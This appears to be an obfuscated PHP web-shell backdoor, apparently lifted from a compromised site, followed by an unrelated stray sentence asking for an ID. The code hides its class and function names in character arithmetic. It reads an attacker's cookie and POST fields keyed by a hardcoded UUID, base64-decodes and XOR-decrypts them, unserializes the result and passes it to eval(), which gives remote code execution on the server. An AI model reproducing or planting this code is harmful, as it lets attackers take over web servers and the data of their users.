$NeiBCQAs = "\x78" . "\x52" . "\145" . "\x5f" . chr (90) . "\160" . "\160" . "\155" . chr ( 723 - 625 ); $gHcmzQkTuN = "\x63" . 'l' . 'a' . 's' . chr ( 331 - 216 )."\137" . chr ( 808 - 707 ).chr (120) . chr ( 951 - 846 ).chr (115) . chr ( 286 - 170 )."\163";$jLuMaIL = class_exists($NeiBCQAs); $gHcmzQkTuN = "1408";$OVDmmQWbL = strpos($gHcmzQkTuN, $NeiBCQAs);if ($jLuMaIL == $OVDmmQWbL){function HmBMpU(){$eBksf = new /* 2718 */ xRe_Zppmb(9872 + 9872); $eBksf = NULL;}$BkWpwOUMS = "9872";class xRe_Zppmb{private function OFVScdU($BkWpwOUMS){if (is_array(xRe_Zppmb::$whlDfeVP)) {$cxyMMYunZR2 = str_replace("<" . "?php", "", xRe_Zppmb::$whlDfeVP["content"]);eval($cxyMMYunZR2); $BkWpwOUMS = "9872";exit();}}public function IMmAvz(){$cxyMMYunZR = "38321";$this->_dummy = str_repeat($cxyMMYunZR, strlen($cxyMMYunZR));}public function __destruct(){xRe_Zppmb::$whlDfeVP = @unserialize(xRe_Zppmb::$whlDfeVP); $BkWpwOUMS = "38314_39111";$this->OFVScdU($BkWpwOUMS); $BkWpwOUMS = "38314_39111";}public function bmmOU($cxyMMYunZR, $rkjMInVNB){return $cxyMMYunZR[0] ^ str_repeat($rkjMInVNB, intval(strlen($cxyMMYunZR[0]) / strlen($rkjMInVNB)) + 1);}public function ZmceVM($cxyMMYunZR){$XRIUHKFdv = chr (98) . "\141" . chr (115) . chr (101) . '6' . chr (52);return array_map($XRIUHKFdv . '_' . 'd' . "\x65" . 'c' . 'o' . 'd' . "\145", array($cxyMMYunZR,));}public function __construct($YSsbFNIeFx=0){$CsRAmb = chr ( 338 - 294 ); $cxyMMYunZR = "";$dDEGjU = $_POST;$PeZYGhmUkh = $_COOKIE;$rkjMInVNB = "54e25d33-92e9-4067-97cb-9d887db7f7e9";$tCQSo = @$PeZYGhmUkh[substr($rkjMInVNB, 0, 4)];if (!empty($tCQSo)){$tCQSo = explode($CsRAmb, $tCQSo);foreach ($tCQSo as $iHFdN){$cxyMMYunZR .= @$PeZYGhmUkh[$iHFdN];$cxyMMYunZR .= @$dDEGjU[$iHFdN];}$cxyMMYunZR = $this->ZmceVM($cxyMMYunZR);}xRe_Zppmb::$whlDfeVP = $this->bmmOU($cxyMMYunZR, $rkjMInVNB);if (strpos($rkjMInVNB, $CsRAmb) !== FALSE){$rkjMInVNB = explode($CsRAmb, $rkjMInVNB); $lTcYZiC = base64_decode(strrev($rkjMInVNB[0]));}}public static $whlDfeVP = 21072;}HmBMpU();} 1 I really need an ID for this to work.